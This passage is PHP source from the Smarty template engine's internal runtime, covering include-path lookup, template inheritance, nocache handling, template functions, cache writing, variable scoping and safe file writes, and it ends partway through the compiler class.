     */
    public function count($value)
    {
        if ($value instanceof IteratorAggregate) {
            // Note: getIterator() returns a Traversable, not an Iterator
            // thus rewind() and valid() methods may not be present
            return iterator_count($value->getIterator());
        } elseif ($value instanceof Iterator) {
            return $value instanceof Generator ? 1 : iterator_count($value);
        } elseif ($value instanceof Countable) {
            return count($value);
        } elseif ($value instanceof PDOStatement) {
            return $value->rowCount();
        } elseif ($value instanceof Traversable) {
            return iterator_count($value);
        }
        return count((array)$value);
    }

    /**
     * Restore saved variables
     *
     * will be called by {break n} or {continue n} for the required number of levels
     *
     * @param \Smarty_Internal_Template $tpl
     * @param int                       $levels number of levels
     */
    public function restore(Smarty_Internal_Template $tpl, $levels = 1)
    {
        while ($levels) {
            $saveVars = array_pop($this->stack);
            if (!empty($saveVars)) {
                if (isset($saveVars[ 'item' ])) {
                    $item = &$saveVars[ 'item' ];
                    $tpl->tpl_vars[ $item[ 0 ] ]->value = $item[ 1 ]->value;
                }
                if (isset($saveVars[ 'key' ])) {
                    $tpl->tpl_vars[ $saveVars[ 'key' ][ 0 ] ] = $saveVars[ 'key' ][ 1 ];
                }
                if (isset($saveVars[ 'named' ])) {
                    $tpl->tpl_vars[ $saveVars[ 'named' ][ 0 ] ] = $saveVars[ 'named' ][ 1 ];
                }
            }
            $levels--;
        }
    }
}
<?php
/**
 * Smarty read include path plugin
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Monte Ohrt
 */

/**
 * Smarty Internal Read Include Path Class
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 */
class Smarty_Internal_Runtime_GetIncludePath
{
    /**
     * include path cache
     *
     * @var string
     */
    public $_include_path = '';

    /**
     * include path directory cache
     *
     * @var array
     */
    public $_include_dirs = array();

    /**
     * include path directory cache
     *
     * @var array
     */
    public $_user_dirs = array();

    /**
     * stream cache
     *
     * @var string[][]
     */
    public $isFile = array();

    /**
     * stream cache
     *
     * @var string[]
     */
    public $isPath = array();

    /**
     * stream cache
     *
     * @var int[]
     */
    public $number = array();

    /**
     * status cache
     *
     * @var bool
     */
    public $_has_stream_include = null;

    /**
     * Number for array index
     *
     * @var int
     */
    public $counter = 0;

    /**
     * Check if include path was updated
     *
     * @param \Smarty $smarty
     *
     * @return bool
     */
    public function isNewIncludePath(Smarty $smarty)
    {
        $_i_path = get_include_path();
        if ($this->_include_path !== $_i_path) {
            $this->_include_dirs = array();
            $this->_include_path = $_i_path;
            $_dirs = (array)explode(PATH_SEPARATOR, $_i_path);
            foreach ($_dirs as $_path) {
                if (is_dir($_path)) {
                    $this->_include_dirs[] = $smarty->_realpath($_path . DIRECTORY_SEPARATOR, true);
                }
            }
            return true;
        }
        return false;
    }

    /**
     * return array with include path directories
     *
     * @param \Smarty $smarty
     *
     * @return array
     */
    public function getIncludePathDirs(Smarty $smarty)
    {
        $this->isNewIncludePath($smarty);
        return $this->_include_dirs;
    }

    /**
     * Return full file path from PHP include_path
     *
     * @param string[] $dirs
     * @param string   $file
     * @param \Smarty  $smarty
     *
     * @return bool|string full filepath or false
     */
    public function getIncludePath($dirs, $file, Smarty $smarty)
    {
        //if (!(isset($this->_has_stream_include) ? $this->_has_stream_include : $this->_has_stream_include = false)) {
        if (!(isset($this->_has_stream_include) ? $this->_has_stream_include :
            $this->_has_stream_include = function_exists('stream_resolve_include_path'))
        ) {
            $this->isNewIncludePath($smarty);
        }
        // try PHP include_path
        foreach ($dirs as $dir) {
            $dir_n = isset($this->number[ $dir ]) ? $this->number[ $dir ] : $this->number[ $dir ] = $this->counter++;
            if (isset($this->isFile[ $dir_n ][ $file ])) {
                if ($this->isFile[ $dir_n ][ $file ]) {
                    return $this->isFile[ $dir_n ][ $file ];
                } else {
                    continue;
                }
            }
            if (isset($this->_user_dirs[ $dir_n ])) {
                if (false === $this->_user_dirs[ $dir_n ]) {
                    continue;
                } else {
                    $dir = $this->_user_dirs[ $dir_n ];
                }
            } else {
                if ($dir[ 0 ] === '/' || $dir[ 1 ] === ':') {
                    $dir = str_ireplace(getcwd(), '.', $dir);
                    if ($dir[ 0 ] === '/' || $dir[ 1 ] === ':') {
                        $this->_user_dirs[ $dir_n ] = false;
                        continue;
                    }
                }
                $dir = substr($dir, 2);
                $this->_user_dirs[ $dir_n ] = $dir;
            }
            if ($this->_has_stream_include) {
                $path = stream_resolve_include_path($dir . (isset($file) ? $file : ''));
                if ($path) {
                    return $this->isFile[ $dir_n ][ $file ] = $path;
                }
            } else {
                foreach ($this->_include_dirs as $key => $_i_path) {
                    $path = isset($this->isPath[ $key ][ $dir_n ]) ? $this->isPath[ $key ][ $dir_n ] :
                        $this->isPath[ $key ][ $dir_n ] = is_dir($_dir_path = $_i_path . $dir) ? $_dir_path : false;
                    if ($path === false) {
                        continue;
                    }
                    if (isset($file)) {
                        $_file = $this->isFile[ $dir_n ][ $file ] = (is_file($path . $file)) ? $path . $file : false;
                        if ($_file) {
                            return $_file;
                        }
                    } else {
                        // no file was given return directory path
                        return $path;
                    }
                }
            }
        }
        return false;
    }
}
<?php

/**
 * Inheritance Runtime Methods processBlock, endChild, init
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 **/
class Smarty_Internal_Runtime_Inheritance
{
    /**
     * State machine
     * - 0 idle next extends will create a new inheritance tree
     * - 1 processing child template
     * - 2 wait for next inheritance template
     * - 3 assume parent template, if child will loaded goto state 1
     *     a call to a sub template resets the state to 0
     *
     * @var int
     */
    public $state = 0;

    /**
     * Array of root child {block} objects
     *
     * @var Smarty_Internal_Block[]
     */
    public $childRoot = array();

    /**
     * inheritance template nesting level
     *
     * @var int
     */
    public $inheritanceLevel = 0;

    /**
     * inheritance template index
     *
     * @var int
     */
    public $tplIndex = -1;

    /**
     * Array of template source objects
     *
     * @var Smarty_Template_Source[]
     */
    public $sources = array();

    /**
     * Stack of source objects while executing block code
     *
     * @var Smarty_Template_Source[]
     */
    public $sourceStack = array();

    /**
     * Initialize inheritance
     *
     * @param \Smarty_Internal_Template $tpl        template object of caller
     * @param bool                      $initChild  if true init for child template
     * @param array                     $blockNames outer level block name
     */
    public function init(Smarty_Internal_Template $tpl, $initChild, $blockNames = array())
    {
        // if called while executing parent template it must be a sub-template with new inheritance root
        if ($initChild && $this->state === 3 && (strpos($tpl->template_resource, 'extendsall') === false)) {
            $tpl->inheritance = new Smarty_Internal_Runtime_Inheritance();
            $tpl->inheritance->init($tpl, $initChild, $blockNames);
            return;
        }
        ++$this->tplIndex;
        $this->sources[ $this->tplIndex ] = $tpl->source;
        // start of child sub template(s)
        if ($initChild) {
            $this->state = 1;
            if (!$this->inheritanceLevel) {
                //grab any output of child templates
                ob_start();
            }
            ++$this->inheritanceLevel;
            //           $tpl->startRenderCallbacks[ 'inheritance' ] = array($this, 'subTemplateStart');
            //           $tpl->endRenderCallbacks[ 'inheritance' ] = array($this, 'subTemplateEnd');
        }
        // if state was waiting for parent change state to parent
        if ($this->state === 2) {
            $this->state = 3;
        }
    }

    /**
     * End of child template(s)
     * - if outer level is reached flush output buffer and switch to wait for parent template state
     *
     * @param \Smarty_Internal_Template $tpl
     * @param null|string               $template optional name of inheritance parent template
     * @param null|string               $uid      uid of inline template
     * @param null|string               $func     function call name of inline template
     *
     * @throws \Exception
     * @throws \SmartyException
     */
    public function endChild(Smarty_Internal_Template $tpl, $template = null, $uid = null, $func = null)
    {
        --$this->inheritanceLevel;
        if (!$this->inheritanceLevel) {
            ob_end_clean();
            $this->state = 2;
        }
        if (isset($template) && (($tpl->parent->_isTplObj() && $tpl->parent->source->type !== 'extends')
                                 || $tpl->smarty->extends_recursion)
        ) {
            $tpl->_subTemplateRender(
                $template,
                $tpl->cache_id,
                $tpl->compile_id,
                $tpl->caching ? 9999 : 0,
                $tpl->cache_lifetime,
                array(),
                2,
                false,
                $uid,
                $func
            );
        }
    }

    /**
     * Smarty_Internal_Block constructor.
     * - if outer level {block} of child template ($state === 1) save it as child root block
     * - otherwise process inheritance and render
     *
     * @param \Smarty_Internal_Template $tpl
     * @param                           $className
     * @param string                    $name
     * @param int|null                  $tplIndex index of outer level {block} if nested
     *
     * @throws \SmartyException
     */
    public function instanceBlock(Smarty_Internal_Template $tpl, $className, $name, $tplIndex = null)
    {
        $block = new $className($name, isset($tplIndex) ? $tplIndex : $this->tplIndex);
        if (isset($this->childRoot[ $name ])) {
            $block->child = $this->childRoot[ $name ];
        }
        if ($this->state === 1) {
            $this->childRoot[ $name ] = $block;
            return;
        }
        // make sure we got child block of child template of current block
        while ($block->child && $block->child->child && $block->tplIndex <= $block->child->tplIndex) {
            $block->child = $block->child->child;
        }
        $this->process($tpl, $block);
    }

    /**
     * Goto child block or render this
     *
     * @param \Smarty_Internal_Template   $tpl
     * @param \Smarty_Internal_Block      $block
     * @param \Smarty_Internal_Block|null $parent
     *
     * @throws \SmartyException
     */
    public function process(
        Smarty_Internal_Template $tpl,
        Smarty_Internal_Block $block,
        ?Smarty_Internal_Block $parent = null
    ) {
        if ($block->hide && !isset($block->child)) {
            return;
        }
        if (isset($block->child) && $block->child->hide && !isset($block->child->child)) {
            $block->child = null;
        }
        $block->parent = $parent;
        if ($block->append && !$block->prepend && isset($parent)) {
            $this->callParent($tpl, $block, '\'{block append}\'');
        }
        if ($block->callsChild || !isset($block->child) || ($block->child->hide && !isset($block->child->child))) {
            $this->callBlock($block, $tpl);
        } else {
            $this->process($tpl, $block->child, $block);
        }
        if ($block->prepend && isset($parent)) {
            $this->callParent($tpl, $block, '{block prepend}');
            if ($block->append) {
                if ($block->callsChild || !isset($block->child)
                    || ($block->child->hide && !isset($block->child->child))
                ) {
                    $this->callBlock($block, $tpl);
                } else {
                    $this->process($tpl, $block->child, $block);
                }
            }
        }
        $block->parent = null;
    }

    /**
     * Render child on \$smarty.block.child
     *
     * @param \Smarty_Internal_Template $tpl
     * @param \Smarty_Internal_Block    $block
     *
     * @return null|string block content
     * @throws \SmartyException
     */
    public function callChild(Smarty_Internal_Template $tpl, Smarty_Internal_Block $block)
    {
        if (isset($block->child)) {
            $this->process($tpl, $block->child, $block);
        }
    }

    /**
     * Render parent block on \$smarty.block.parent or {block append/prepend}
     *
     * @param \Smarty_Internal_Template $tpl
     * @param \Smarty_Internal_Block    $block
     * @param string                    $tag
     *
     * @return null|string  block content
     * @throws \SmartyException
     */
    public function callParent(Smarty_Internal_Template $tpl, Smarty_Internal_Block $block, $tag)
    {
        if (isset($block->parent)) {
            $this->callBlock($block->parent, $tpl);
        } else {
            throw new SmartyException("inheritance: illegal '{$tag}' used in child template '{$tpl->inheritance->sources[$block->tplIndex]->filepath}' block '{$block->name}'");
        }
    }

    /**
     * render block
     *
     * @param \Smarty_Internal_Block    $block
     * @param \Smarty_Internal_Template $tpl
     */
    public function callBlock(Smarty_Internal_Block $block, Smarty_Internal_Template $tpl)
    {
        $this->sourceStack[] = $tpl->source;
        $tpl->source = $this->sources[ $block->tplIndex ];
        $block->callBlock($tpl);
        $tpl->source = array_pop($this->sourceStack);
    }
}
<?php

/**
 * {make_nocache} Runtime Methods save(), store()
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Runtime_Make_Nocache
{
    /**
     * Save current variable value while rendering compiled template and inject nocache code to
     * assign variable value in cahed template
     *
     * @param \Smarty_Internal_Template $tpl
     * @param string                    $var variable name
     *
     * @throws \SmartyException
     */
    public function save(Smarty_Internal_Template $tpl, $var)
    {
        if (isset($tpl->tpl_vars[ $var ])) {
            $export =
                preg_replace('/^\\\\?Smarty_Variable::__set_state[(]|[)]$/', '', var_export($tpl->tpl_vars[ $var ], true));
            if (preg_match('/(\w+)::__set_state/', $export, $match)) {
                throw new SmartyException("{make_nocache \${$var}} in template '{$tpl->source->name}': variable does contain object '{$match[1]}' not implementing method '__set_state'");
            }
            echo "/*%%SmartyNocache:{$tpl->compiled->nocache_hash}%%*/<?php " .
                 addcslashes("\$_smarty_tpl->smarty->ext->_make_nocache->store(\$_smarty_tpl, '{$var}', ", '\\') .
                 $export . ");?>\n/*/%%SmartyNocache:{$tpl->compiled->nocache_hash}%%*/";
        }
    }

    /**
     * Store variable value saved while rendering compiled template in cached template context
     *
     * @param \Smarty_Internal_Template $tpl
     * @param string                    $var variable name
     * @param array                     $properties
     */
    public function store(Smarty_Internal_Template $tpl, $var, $properties)
    {
        // do not overwrite existing nocache variables
        if (!isset($tpl->tpl_vars[ $var ]) || !$tpl->tpl_vars[ $var ]->nocache) {
            $newVar = new Smarty_Variable();
            unset($properties[ 'nocache' ]);
            foreach ($properties as $k => $v) {
                $newVar->$k = $v;
            }
            $tpl->tpl_vars[ $var ] = $newVar;
        }
    }
}
<?php

/**
 * TplFunction Runtime Methods callTemplateFunction
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 **/
class Smarty_Internal_Runtime_TplFunction
{
    /**
     * Call template function
     *
     * @param \Smarty_Internal_Template $tpl     template object
     * @param string                    $name    template function name
     * @param array                     $params  parameter array
     * @param bool                      $nocache true if called nocache
     *
     * @throws \SmartyException
     */
    public function callTemplateFunction(Smarty_Internal_Template $tpl, $name, $params, $nocache)
    {
        $funcParam = isset($tpl->tplFunctions[ $name ]) ? $tpl->tplFunctions[ $name ] :
            (isset($tpl->smarty->tplFunctions[ $name ]) ? $tpl->smarty->tplFunctions[ $name ] : null);
        if (isset($funcParam)) {
            if (!$tpl->caching || ($tpl->caching && $nocache)) {
                $function = $funcParam[ 'call_name' ];
            } else {
                if (isset($funcParam[ 'call_name_caching' ])) {
                    $function = $funcParam[ 'call_name_caching' ];
                } else {
                    $function = $funcParam[ 'call_name' ];
                }
            }
            if (function_exists($function)) {
                $this->saveTemplateVariables($tpl, $name);
                $function($tpl, $params);
                $this->restoreTemplateVariables($tpl, $name);
                return;
            }
            // try to load template function dynamically
            if ($this->addTplFuncToCache($tpl, $name, $function)) {
                $this->saveTemplateVariables($tpl, $name);
                $function($tpl, $params);
                $this->restoreTemplateVariables($tpl, $name);
                return;
            }
        }
        throw new SmartyException("Unable to find template function '{$name}'");
    }

    /**
     * Register template functions defined by template
     *
     * @param \Smarty|\Smarty_Internal_Template|\Smarty_Internal_TemplateBase $obj
     * @param array                                                           $tplFunctions source information array of
     *                                                                                      template functions defined
     *                                                                                      in template
     * @param bool                                                            $override     if true replace existing
     *                                                                                      functions with same name
     */
    public function registerTplFunctions(Smarty_Internal_TemplateBase $obj, $tplFunctions, $override = true)
    {
        $obj->tplFunctions =
            $override ? array_merge($obj->tplFunctions, $tplFunctions) : array_merge($tplFunctions, $obj->tplFunctions);
        // make sure that the template functions are known in parent templates
        if ($obj->_isSubTpl()) {
            $obj->smarty->ext->_tplFunction->registerTplFunctions($obj->parent, $tplFunctions, false);
        } else {
            $obj->smarty->tplFunctions = $override ? array_merge($obj->smarty->tplFunctions, $tplFunctions) :
                array_merge($tplFunctions, $obj->smarty->tplFunctions);
        }
    }

    /**
     * Return source parameter array for single or all template functions
     *
     * @param \Smarty_Internal_Template $tpl  template object
     * @param null|string               $name template function name
     *
     * @return array|bool|mixed
     */
    public function getTplFunction(Smarty_Internal_Template $tpl, $name = null)
    {
        if (isset($name)) {
            return isset($tpl->tplFunctions[ $name ]) ? $tpl->tplFunctions[ $name ] :
                (isset($tpl->smarty->tplFunctions[ $name ]) ? $tpl->smarty->tplFunctions[ $name ] : false);
        } else {
            return empty($tpl->tplFunctions) ? $tpl->smarty->tplFunctions : $tpl->tplFunctions;
        }
    }

    /**
     * Add template function to cache file for nocache calls
     *
     * @param Smarty_Internal_Template $tpl
     * @param string                   $_name     template function name
     * @param string                   $_function PHP function name
     *
     * @return bool
     */
    public function addTplFuncToCache(Smarty_Internal_Template $tpl, $_name, $_function)
    {
        $funcParam = $tpl->tplFunctions[ $_name ];
        if (is_file($funcParam[ 'compiled_filepath' ])) {
            // read compiled file
            $code = file_get_contents($funcParam[ 'compiled_filepath' ]);
            // grab template function
            if (preg_match("/\/\* {$_function} \*\/([\S\s]*?)\/\*\/ {$_function} \*\//", $code, $match)) {
                // grab source info from file dependency
                preg_match("/\s*'{$funcParam['uid']}'([\S\s]*?)\),/", $code, $match1);
                unset($code);
                // make PHP function known
                eval($match[ 0 ]);
                if (function_exists($_function)) {
                    // search cache file template
                    $tplPtr = $tpl;
                    while (!isset($tplPtr->cached) && isset($tplPtr->parent)) {
                        $tplPtr = $tplPtr->parent;
                    }
                    // add template function code to cache file
                    if (isset($tplPtr->cached)) {
                        $content = $tplPtr->cached->read($tplPtr);
                        if ($content) {
                            // check if we must update file dependency
                            if (!preg_match("/'{$funcParam['uid']}'(.*?)'nocache_hash'/", $content, $match2)) {
                                $content = preg_replace("/('file_dependency'(.*?)\()/", "\\1{$match1[0]}", $content);
                            }
                            $tplPtr->smarty->ext->_updateCache->write(
                                $tplPtr,
                                preg_replace('/\s*\?>\s*$/', "\n", $content) .
                                "\n" . preg_replace(
                                    array(
                                        '/^\s*<\?php\s+/',
                                        '/\s*\?>\s*$/',
                                    ),
                                    "\n",
                                    $match[ 0 ]
                                )
                            );
                        }
                    }
                    return true;
                }
            }
        }
        return false;
    }

    /**
     * Save current template variables on stack
     *
     * @param \Smarty_Internal_Template $tpl
     * @param string                    $name stack name
     */
    public function saveTemplateVariables(Smarty_Internal_Template $tpl, $name)
    {
        $tpl->_cache[ 'varStack' ][] =
            array('tpl' => $tpl->tpl_vars, 'config' => $tpl->config_vars, 'name' => "_tplFunction_{$name}");
    }

    /**
     * Restore saved variables into template objects
     *
     * @param \Smarty_Internal_Template $tpl
     * @param string                    $name stack name
     */
    public function restoreTemplateVariables(Smarty_Internal_Template $tpl, $name)
    {
        if (isset($tpl->_cache[ 'varStack' ])) {
            $vars = array_pop($tpl->_cache[ 'varStack' ]);
            $tpl->tpl_vars = $vars[ 'tpl' ];
            $tpl->config_vars = $vars[ 'config' ];
        }
    }
}
<?php

/**
 * Inline Runtime Methods render, setSourceByUid, setupSubTemplate
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 **/
class Smarty_Internal_Runtime_UpdateCache
{
    /**
     * check client side cache
     *
     * @param \Smarty_Template_Cached  $cached
     * @param Smarty_Internal_Template $_template
     * @param string                   $content
     */
    public function cacheModifiedCheck(Smarty_Template_Cached $cached, Smarty_Internal_Template $_template, $content)
    {
    }

    /**
     * Cache was invalid , so render from compiled and write to cache
     *
     * @param \Smarty_Template_Cached   $cached
     * @param \Smarty_Internal_Template $_template
     * @param                           $no_output_filter
     *
     * @throws \Exception
     */
    public function updateCache(Smarty_Template_Cached $cached, Smarty_Internal_Template $_template, $no_output_filter)
    {
        ob_start();
        if (!isset($_template->compiled)) {
            $_template->loadCompiled();
        }
        $_template->compiled->render($_template);
        if ($_template->smarty->debugging) {
            $_template->smarty->_debug->start_cache($_template);
        }
        $this->removeNoCacheHash($cached, $_template, $no_output_filter);
        $compile_check = (int)$_template->compile_check;
        $_template->compile_check = Smarty::COMPILECHECK_OFF;
        if ($_template->_isSubTpl()) {
            $_template->compiled->unifunc = $_template->parent->compiled->unifunc;
        }
        if (!$_template->cached->processed) {
            $_template->cached->process($_template, true);
        }
        $_template->compile_check = $compile_check;
        $cached->getRenderedTemplateCode($_template);
        if ($_template->smarty->debugging) {
            $_template->smarty->_debug->end_cache($_template);
        }
    }

    /**
     * Sanitize content and write it to cache resource
     *
     * @param \Smarty_Template_Cached  $cached
     * @param Smarty_Internal_Template $_template
     * @param bool                     $no_output_filter
     *
     * @throws \SmartyException
     */
    public function removeNoCacheHash(
        Smarty_Template_Cached $cached,
        Smarty_Internal_Template $_template,
        $no_output_filter
    ) {
        $php_pattern = '/(<%|%>|<\?php|<\?|\?>|<script\s+language\s*=\s*[\"\']?\s*php\s*[\"\']?\s*>)/';
        $content = ob_get_clean();
        $hash_array = $cached->hashes;
        $hash_array[ $_template->compiled->nocache_hash ] = true;
        $hash_array = array_keys($hash_array);
        $nocache_hash = '(' . implode('|', $hash_array) . ')';
        $_template->cached->has_nocache_code = false;
        // get text between non-cached items
        $cache_split =
            preg_split(
                "!/\*%%SmartyNocache:{$nocache_hash}%%\*\/(.+?)/\*/%%SmartyNocache:{$nocache_hash}%%\*/!s",
                $content
            );
        // get non-cached items
        preg_match_all(
            "!/\*%%SmartyNocache:{$nocache_hash}%%\*\/(.+?)/\*/%%SmartyNocache:{$nocache_hash}%%\*/!s",
            $content,
            $cache_parts
        );
        $content = '';
        // loop over items, stitch back together
        foreach ($cache_split as $curr_idx => $curr_split) {
            if (preg_match($php_pattern, $curr_split)) {
                // escape PHP tags in template content
                $php_split = preg_split(
                    $php_pattern,
                    $curr_split
                );
                preg_match_all(
                    $php_pattern,
                    $curr_split,
                    $php_parts
                );
                foreach ($php_split as $idx_php => $curr_php) {
                    $content .= $curr_php;
                    if (isset($php_parts[ 0 ][ $idx_php ])) {
                        $content .= "<?php echo '{$php_parts[ 1 ][ $idx_php ]}'; ?>\n";
                    }
                }
            } else {
                $content .= $curr_split;
            }
            if (isset($cache_parts[ 0 ][ $curr_idx ])) {
                $_template->cached->has_nocache_code = true;
                $content .= $cache_parts[ 2 ][ $curr_idx ];
            }
        }
        if (!$no_output_filter && !$_template->cached->has_nocache_code
            && (isset($_template->smarty->autoload_filters[ 'output' ])
                || isset($_template->smarty->registered_filters[ 'output' ]))
        ) {
            $content = $_template->smarty->ext->_filterHandler->runFilter('output', $content, $_template);
        }
        // write cache file content
        $this->writeCachedContent($_template, $content);
    }

    /**
     * Writes the content to cache resource
     *
     * @param Smarty_Internal_Template $_template
     * @param string                   $content
     *
     * @return bool
     */
    public function writeCachedContent(Smarty_Internal_Template $_template, $content)
    {
        if ($_template->source->handler->recompiled || !$_template->caching
        ) {
            // don't write cache file
            return false;
        }
        if (!isset($_template->cached)) {
            $_template->loadCached();
        }
        $content = $_template->smarty->ext->_codeFrame->create($_template, $content, '', true);
        return $this->write($_template, $content);
    }

    /**
     * Write this cache object to handler
     *
     * @param Smarty_Internal_Template $_template template object
     * @param string                   $content   content to cache
     *
     * @return bool success
     */
    public function write(Smarty_Internal_Template $_template, $content)
    {
        if (!$_template->source->handler->recompiled) {
            $cached = $_template->cached;
            if ($cached->handler->writeCachedContent($_template, $content)) {
                $cached->content = null;
                $cached->timestamp = time();
                $cached->exists = true;
                $cached->valid = true;
                $cached->cache_lifetime = $_template->cache_lifetime;
                $cached->processed = false;
                if ($_template->smarty->cache_locking) {
                    $cached->handler->releaseLock($_template->smarty, $cached);
                }
                return true;
            }
            $cached->content = null;
            $cached->timestamp = false;
            $cached->exists = false;
            $cached->valid = false;
            $cached->processed = false;
        }
        return false;
    }
}
<?php

/**
 * Runtime Extension updateScope
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 **/
class Smarty_Internal_Runtime_UpdateScope
{
    /**
     * Update new assigned template or config variable in other effected scopes
     *
     * @param Smarty_Internal_Template $tpl      data object
     * @param string|null              $varName  variable name
     * @param int                      $tagScope tag scope to which bubble up variable value
     */
    public function _updateScope(Smarty_Internal_Template $tpl, $varName, $tagScope = 0)
    {
        if ($tagScope) {
            $this->_updateVarStack($tpl, $varName);
            $tagScope = $tagScope & ~Smarty::SCOPE_LOCAL;
            if (!$tpl->scope && !$tagScope) {
                return;
            }
        }
        $mergedScope = $tagScope | $tpl->scope;
        if ($mergedScope) {
            if ($mergedScope & Smarty::SCOPE_GLOBAL && $varName) {
                Smarty::$global_tpl_vars[ $varName ] = $tpl->tpl_vars[ $varName ];
            }
            // update scopes
            foreach ($this->_getAffectedScopes($tpl, $mergedScope) as $ptr) {
                $this->_updateVariableInOtherScope($ptr->tpl_vars, $tpl, $varName);
                if ($tagScope && $ptr->_isTplObj() && isset($tpl->_cache[ 'varStack' ])) {
                    $this->_updateVarStack($ptr, $varName);
                }
            }
        }
    }

    /**
     * Get array of objects which needs to be updated  by given scope value
     *
     * @param Smarty_Internal_Template $tpl
     * @param int                      $mergedScope merged tag and template scope to which bubble up variable value
     *
     * @return array
     */
    public function _getAffectedScopes(Smarty_Internal_Template $tpl, $mergedScope)
    {
        $_stack = array();
        $ptr = $tpl->parent;
        if ($mergedScope && isset($ptr) && $ptr->_isTplObj()) {
            $_stack[] = $ptr;
            $mergedScope = $mergedScope & ~Smarty::SCOPE_PARENT;
            if (!$mergedScope) {
                // only parent was set, we are done
                return $_stack;
            }
            $ptr = $ptr->parent;
        }
        while (isset($ptr) && $ptr->_isTplObj()) {
            $_stack[] = $ptr;
            $ptr = $ptr->parent;
        }
        if ($mergedScope & Smarty::SCOPE_SMARTY) {
            if (isset($tpl->smarty)) {
                $_stack[] = $tpl->smarty;
            }
        } elseif ($mergedScope & Smarty::SCOPE_ROOT) {
            while (isset($ptr)) {
                if (!$ptr->_isTplObj()) {
                    $_stack[] = $ptr;
                    break;
                }
                $ptr = $ptr->parent;
            }
        }
        return $_stack;
    }

    /**
     * Update variable in other scope
     *
     * @param array                     $tpl_vars template variable array
     * @param \Smarty_Internal_Template $from
     * @param string                    $varName  variable name
     */
    public function _updateVariableInOtherScope(&$tpl_vars, Smarty_Internal_Template $from, $varName)
    {
        if (!isset($tpl_vars[ $varName ])) {
            $tpl_vars[ $varName ] = clone $from->tpl_vars[ $varName ];
        } else {
            $tpl_vars[ $varName ] = clone $tpl_vars[ $varName ];
            $tpl_vars[ $varName ]->value = $from->tpl_vars[ $varName ]->value;
        }
    }

    /**
     * Update variable in template local variable stack
     *
     * @param \Smarty_Internal_Template $tpl
     * @param string|null               $varName variable name or null for config variables
     */
    public function _updateVarStack(Smarty_Internal_Template $tpl, $varName)
    {
        $i = 0;
        while (isset($tpl->_cache[ 'varStack' ][ $i ])) {
            $this->_updateVariableInOtherScope($tpl->_cache[ 'varStack' ][ $i ][ 'tpl' ], $tpl, $varName);
            $i++;
        }
    }
}
<?php
/**
 * Smarty write file plugin
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Monte Ohrt
 */

/**
 * Smarty Internal Write File Class
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 */
class Smarty_Internal_Runtime_WriteFile
{
    /**
     * Writes file in a safe way to disk
     *
     * @param string $_filepath complete filepath
     * @param string $_contents file content
     * @param Smarty $smarty    smarty instance
     *
     * @throws SmartyException
     * @return boolean true
     */
    public function writeFile($_filepath, $_contents, Smarty $smarty)
    {
        $_error_reporting = error_reporting();
        error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);
        $_dirpath = dirname($_filepath);
        // if subdirs, create dir structure
        if ($_dirpath !== '.') {
            $i = 0;
            // loop if concurrency problem occurs
            // see https://bugs.php.net/bug.php?id=35326
            while (!is_dir($_dirpath)) {
                if (@mkdir($_dirpath, 0777, true)) {
                    break;
                }
                clearstatcache();
                if (++$i === 3) {
                    error_reporting($_error_reporting);
                    throw new SmartyException("unable to create directory {$_dirpath}");
                }
                sleep(1);
            }
        }
        // write to tmp file, then move to overt file lock race condition
        $_tmp_file = $_dirpath . DIRECTORY_SEPARATOR . str_replace(array('.', ','), '_', uniqid('wrt', true));
        if (!file_put_contents($_tmp_file, $_contents)) {
            error_reporting($_error_reporting);
            throw new SmartyException("unable to write file {$_tmp_file}");
        }
        /*
         * Windows' rename() fails if the destination exists,
         * Linux' rename() properly handles the overwrite.
         * Simply unlink()ing a file might cause other processes
         * currently reading that file to fail, but linux' rename()
         * seems to be smart enough to handle that for us.
         */
        if (Smarty::$_IS_WINDOWS) {
            // remove original file
            if (is_file($_filepath)) {
                @unlink($_filepath);
            }
            // rename tmp file
            $success = @rename($_tmp_file, $_filepath);
        } else {
            // rename tmp file
            $success = @rename($_tmp_file, $_filepath);
            if (!$success) {
                // remove original file
                if (is_file($_filepath)) {
                    @unlink($_filepath);
                }
                // rename tmp file
                $success = @rename($_tmp_file, $_filepath);
            }
        }
        if (!$success) {
            error_reporting($_error_reporting);
            throw new SmartyException("unable to write file {$_filepath}");
        }
        // set file permissions
        @chmod($_filepath, 0666 & ~umask());
        error_reporting($_error_reporting);
        return true;
    }
}
<?php
/**
 * Smarty Internal Plugin Smarty Template Compiler Base
 * This file contains the basic classes and methods for compiling Smarty templates with lexer/parser
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Class SmartyTemplateCompiler
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_SmartyTemplateCompiler extends Smarty_Internal_TemplateCompilerBase
{
    /**
     * Lexer class name
     *
     * @var string
     */
    public $lexer_class;

    /**
     * Parser class name
     *
     * @var string
     */
    public $parser_class;

    /**
     * array of vars which can be compiled in local scope
     *
     * @var array
     */
    public $local_var = array();

    /**
     * array of callbacks called when the normal compile process of template is finished
     *
     * @var array
     */
    public $postCompileCallbacks = array();

    /**
     * prefix code
     *
     * @var string
     */
    public $prefixCompiledCode = '';

    /**
     * postfix code
     *
     * @var string
     */
    public $postfixCompiledCode = '';

    /**
     * Initialize compiler
     *
     * @param string $lexer_class  class name
     * @param string $parser_class class name
     * @param Smarty $smarty       global instance
     */
    public function __construct($lexer_class, $parser_class, Smarty $smarty)
    {
        parent::__construct($smarty);
        // get required plugins
        $this->lexer_class = $lexer_class;
        $this->parser_class = $parser_class;
    }

    /**
     * method to compile a Smarty template
     *
     * @param mixed $_content template source
     * @param bool  $isTemplateSource
     *
     * @return bool true if compiling succeeded, false if it failed
     * @throws \SmartyCompilerException
     */
    protected function doCompile($_content, $isTemplateSource = false)
    {
        /* here is where the compiling takes place. Smarty
          tags in the templates are replaces with PHP code,
          then written to compiled files. */
        // init the lexer/parser to compile the template
        $this->parser =
            new $this->parser_class(
                new $this->lexer_class(
                    str_replace(
                        array(
                            "\r\n",
                            "\r"
                        ),
                        "\n",
                        $_content
                    ),
